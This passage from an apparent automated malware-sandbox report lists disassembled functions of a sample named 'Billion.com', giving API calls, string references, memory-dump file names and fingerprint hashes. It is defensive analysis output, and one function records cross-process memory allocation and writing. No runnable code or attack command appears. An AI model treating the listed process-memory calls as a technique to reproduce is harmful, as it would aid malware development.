GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00191931
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00191938
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0019194E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 159dbaf6f6d9bb113c03c606f5140c2e5107294118dc9c178d75afda4119fae2
Instruction ID: 3c53a584005ba256eefcb33789eb0869ce1ce95281ff1f65f8e62e4eafc29a71
Opcode Fuzzy Hash: 159dbaf6f6d9bb113c03c606f5140c2e5107294118dc9c178d75afda4119fae2
Instruction Fuzzy Hash: DBF04975200302BBDB210FA9AC49F563FADEF897A0F610424FE45D72A0CA70DC918A60

Function 00191960 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00191976
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00191982
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00191991
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00191998
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 001919AE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e69a25e82db95c5c3a33d9c64ecbbbeef48d851ec7c497d3cefbd1c69d4b4654
Instruction ID: 24b8862163a8eebe8e7680edbf8dca4ba4a77532eff929ccf1562b3755531da1
Opcode Fuzzy Hash: e69a25e82db95c5c3a33d9c64ecbbbeef48d851ec7c497d3cefbd1c69d4b4654
Instruction Fuzzy Hash: A9F06D75240302BBDB214FA9EC59F563FADFF897A0F610424FE45C72A0CB70E8918A60

Function 001A0CB6 Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0CCB
CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0CD8
CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0CE5
CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0CF2
CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0CFF
CloseHandle.KERNEL32(?,?,?,?,001A0B24,?,001A3D41,?,00000001,00173AF4,?), ref: 001A0D0C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 35ef6480d229fbd28aee7e8a84549fc2df13391e3279d702881990038d0a2ccf
Instruction ID: df613a98cf7395019a2c2dbcc784d28a6e637f871af6fb21f110a65b54e451ab
Opcode Fuzzy Hash: 35ef6480d229fbd28aee7e8a84549fc2df13391e3279d702881990038d0a2ccf
Instruction Fuzzy Hash: 2301EEB6800B15DFCB31AFA6D880812FBF9BF503253108A3ED09352931C7B0A888CF80

Function 001965AB Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 001965BF
GetWindowTextW.USER32(00000000,?,00000100), ref: 001965D6
MessageBeep.USER32(00000000), ref: 001965EE
KillTimer.USER32(?,0000040A), ref: 0019660A
EndDialog.USER32(?,00000001), ref: 00196624

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 3c5598d03df6ec96939bfd1a84ab1ea10a646d642e006a4dedfd273af2cd73d0
Instruction ID: 5b4bc303c760cd9bc8dd2c09db6799c4ca5d59562454ca43e0af804f2a5486d4
Opcode Fuzzy Hash: 3c5598d03df6ec96939bfd1a84ab1ea10a646d642e006a4dedfd273af2cd73d0
Instruction Fuzzy Hash: 9E018130500714ABEF245F60EE4EF967BB8FB10705F010669B187A14E1EBF0AA84CAA0

Function 0016DABA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0016DAD2

Part of subcall function 00162D38: RtlFreeHeap.NTDLL(00000000,00000000,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4), ref: 00162D4E
Part of subcall function 00162D38: GetLastError.KERNEL32(00201DC4,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4,00201DC4), ref: 00162D60

_free.LIBCMT ref: 0016DAE4
_free.LIBCMT ref: 0016DAF6
_free.LIBCMT ref: 0016DB08
_free.LIBCMT ref: 0016DB1A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d460d88d9f1513c4dcfd98ba26c5f707163a3f05a2ab9d1f9b5028cd2bd6b72b
Instruction ID: 7015dd97c1d9210a607d74f3017e03cfa32485b98709fb748a267021a96c05da
Opcode Fuzzy Hash: d460d88d9f1513c4dcfd98ba26c5f707163a3f05a2ab9d1f9b5028cd2bd6b72b
Instruction Fuzzy Hash: 8CF01D32A48604AB8624EBA9FD82C3A77EEFF157907A50C45F009D7941CB30FCA0CA64

Function 00162610 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0016262E

Part of subcall function 00162D38: RtlFreeHeap.NTDLL(00000000,00000000,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4), ref: 00162D4E
Part of subcall function 00162D38: GetLastError.KERNEL32(00201DC4,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4,00201DC4), ref: 00162D60

_free.LIBCMT ref: 00162640
_free.LIBCMT ref: 00162653
_free.LIBCMT ref: 00162664
_free.LIBCMT ref: 00162675

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e10ddf55cb32d15d2f945d546f87ab6cd9820c3a9a5d61b6aeaaa81c4265ecd4
Instruction ID: ad41e1e683a44e6fb89a8060aed14ebf75460aa705f258eb1c8c42eb5750ad5d
Opcode Fuzzy Hash: e10ddf55cb32d15d2f945d546f87ab6cd9820c3a9a5d61b6aeaaa81c4265ecd4
Instruction Fuzzy Hash: A9F0DA70801B219BCB02AFD4FC0D8683BA5BB257A1305091BF814D6676CB310961BF85

Function 001612B7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00161469
__freea.LIBCMT ref: 00161487

Part of subcall function 001618A7: _free.LIBCMT ref: 001618BF

Strings

a/p, xrefs: 0016154E
am/pm, xrefs: 001614EA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: e4412c9d91f8621f8e6504e2a8147a185e15daa9026c142a62a0a6f762fe106c
Instruction ID: ba539f88e4efbccb6b1d264b28894a01591f5c99c7c582cab50c01794bcdc592
Opcode Fuzzy Hash: e4412c9d91f8621f8e6504e2a8147a185e15daa9026c142a62a0a6f762fe106c
Instruction Fuzzy Hash: ADD11479900206FBCB289F68CC55BFAB7B1FF16310F2D415AE9029B250D7B59DA0CB90

Function 00193063 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0019BDCA: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00192B1D,?,?,00000034,00000800,?,00000034), ref: 0019BDF4

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 001930AD

Part of subcall function 0019BD95: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00192B4C,?,?,00000800,?,00001073,00000000,?,?), ref: 0019BDBF

Part of subcall function 0019BCF1: GetWindowThreadProcessId.USER32(?,?), ref: 0019BD1C
Part of subcall function 0019BCF1: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00192AE1,00000034,?,?,00001004,00000000,00000000), ref: 0019BD2C
Part of subcall function 0019BCF1: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00192AE1,00000034,?,?,00001004,00000000,00000000), ref: 0019BD42

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0019311A
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00193167

Strings

@, xrefs: 0019317F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: e6982e4af51900145163ba1bcf1c5629b5b2c32fcfadbaca703d255eb1e35803
Instruction ID: a686b8bd78e85cb9fa99caa067de0d6f6e386c63f6b451d601890c1f73b6b2a5
Opcode Fuzzy Hash: e6982e4af51900145163ba1bcf1c5629b5b2c32fcfadbaca703d255eb1e35803
Instruction Fuzzy Hash: A4412772900218BEDF10DBA4DD85AEEBBB8EF59704F0040A5FA55B7190DB70AF85CB61

Function 00161A9E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\680662\Billion.com,00000104), ref: 00161AD9
_free.LIBCMT ref: 00161BA4
_free.LIBCMT ref: 00161BAE

Strings

C:\Users\user\AppData\Local\Temp\680662\Billion.com, xrefs: 00161AD0, 00161AD7, 00161B06, 00161B3E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\680662\Billion.com
API String ID: 2506810119-140972201
Opcode ID: e1cfac10d2a0b7966a8c96586f49cb380511b169ff4f2c6e6d96165a2b4a34ce
Instruction ID: 7502e048dc82af2582b267e5daebcb0198b7ab5ea29de4baf5d172bf0917450e
Opcode Fuzzy Hash: e1cfac10d2a0b7966a8c96586f49cb380511b169ff4f2c6e6d96165a2b4a34ce
Instruction Fuzzy Hash: 9F317071A00218FFCB21DF99DC89D9EBBFCEF95710B1841A6E80497211E7708E55DB90

Function 0019CB28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0019CBB1
DeleteMenu.USER32(?,00000007,00000000), ref: 0019CBF7
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,002029C0,00C15120), ref: 0019CC40

Strings

0, xrefs: 0019CB8A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 16d2a67f9c2f05ffb3cbe4c28488b146ddd667d0edf96ef70c59cd4ee8ffa896
Instruction ID: d309b3979725680024f156063b301f9a8d4c2dd688d01dd077a04eceadfb7a4a
Opcode Fuzzy Hash: 16d2a67f9c2f05ffb3cbe4c28488b146ddd667d0edf96ef70c59cd4ee8ffa896
Instruction Fuzzy Hash: 1941C3712043029FDB24DF24D985F1ABBE8EF99714F14461DF8E997291D730E904CB92

Function 001C4EB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,001CDCD0,00000000,?,?,?,?), ref: 001C4F48
GetWindowLongW.USER32 ref: 001C4F65
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001C4F75

Strings

SysTreeView32, xrefs: 001C4F1A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 4496f15bf3006f50e2ea3294f5f3c8ca1d4663340eb904c66b49fcd486bae57c
Instruction ID: 7db2b79664e507de96019516cdb867cfc14010efe65f3a8c6fc4a6305a17baa4
Opcode Fuzzy Hash: 4496f15bf3006f50e2ea3294f5f3c8ca1d4663340eb904c66b49fcd486bae57c
Instruction Fuzzy Hash: 2331B071214205AFDB208E38DC55FEA7BA9EB28338F214729F975A21E0C770EC509B50

Function 001B3AAB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3DB8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,001B3AD4,?,?), ref: 001B3DD5

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 001B3AD7
_wcslen.LIBCMT ref: 001B3AF8
htons.WSOCK32(00000000,?,?,00000000), ref: 001B3B63

Strings

255.255.255.255, xrefs: 001B3AF2, 001B3AF7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: cafd7636e347739cdeb2df99400ea9e0e4fba645d0a7e6338b9f40c7726a7582
Instruction ID: e8f5d871241943181834f8b9ad9aca73c86055044c4707ae28d04c6a2e31a812
Opcode Fuzzy Hash: cafd7636e347739cdeb2df99400ea9e0e4fba645d0a7e6338b9f40c7726a7582
Instruction Fuzzy Hash: 24319339600201DFCB10CF68C6C5EA9BBE1EF54318F258159E8268B7A6D771EE55CB60

Function 001C4954 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 001C49DC
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 001C49F0
SendMessageW.USER32(?,00001002,00000000,?), ref: 001C4A14

Strings

SysMonthCal32, xrefs: 001C49A7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: e26d92ec59c8c43257b84371edc312157f9f08d1b560cb064bd44610f5458d39
Instruction ID: c274adffe08e7b272cc0c91b672acbc9524f70991000aa9a1a9471ea63bc64f1
Opcode Fuzzy Hash: e26d92ec59c8c43257b84371edc312157f9f08d1b560cb064bd44610f5458d39
Instruction Fuzzy Hash: 7D21BF32610229BBDF218F50DC46FEF3B69EF58718F110218FA156B0D0D7B1E8559B90

Function 001C50F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 001C51A3
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 001C51B1
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 001C51B8

Strings

msctls_updown32, xrefs: 001C5122

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 7b7433129e2be689ec1fdf0239c827ed88db72731fb0cc03291735f65bf6a44f
Instruction ID: 64415fcefaca711458d9de3041e38f497b511384b9a367fd2feb63eccd5b6910
Opcode Fuzzy Hash: 7b7433129e2be689ec1fdf0239c827ed88db72731fb0cc03291735f65bf6a44f
Instruction Fuzzy Hash: 652130B5600649AFDB10DF54DC89EBB37ADEB69368B14015DFA009B361CB70EC55CBA0

Function 001C4253 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 001C42DC
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 001C42EC
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 001C4312

Strings

Listbox, xrefs: 001C42AB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: e5e49533c5bec9c09726896bfa0c72ef5a79c92d21ed9f77d17ed62d7090a933
Instruction ID: 113e86b2d7e6c51246ee93433898c8730aa25de17d04788bdd3a2782a5fb1cd7
Opcode Fuzzy Hash: e5e49533c5bec9c09726896bfa0c72ef5a79c92d21ed9f77d17ed62d7090a933
Instruction Fuzzy Hash: B2215032614218BBEF118F94EC95FAB3B6EEBA9764F118128F9059B190CB71DC5187A0

Function 001A5439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001A544D
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 001A54A1
SetErrorMode.KERNEL32(00000000,?,?,001CDCD0), ref: 001A5515

Strings

%lu, xrefs: 001A54B4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: a249908764c2d1e1e72467c7e8bc5ed30be87ba54e0e05c816ce4eeea5b0af48
Instruction ID: 8629b729af900b8d2769ab2b9f8180fb727c8dcdd12fdca0f090485806fc40d4
Opcode Fuzzy Hash: a249908764c2d1e1e72467c7e8bc5ed30be87ba54e0e05c816ce4eeea5b0af48
Instruction Fuzzy Hash: 2A317675A00109AFDB10DF54D885EAA7BF9EF09304F1480A9F509DB362D771EE45CB61

Function 001C8305 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 001C8339
EnumChildWindows.USER32(?,001C802F,00000000), ref: 001C83B0

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

Strings

( , xrefs: 001C8317
( , xrefs: 001C834A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
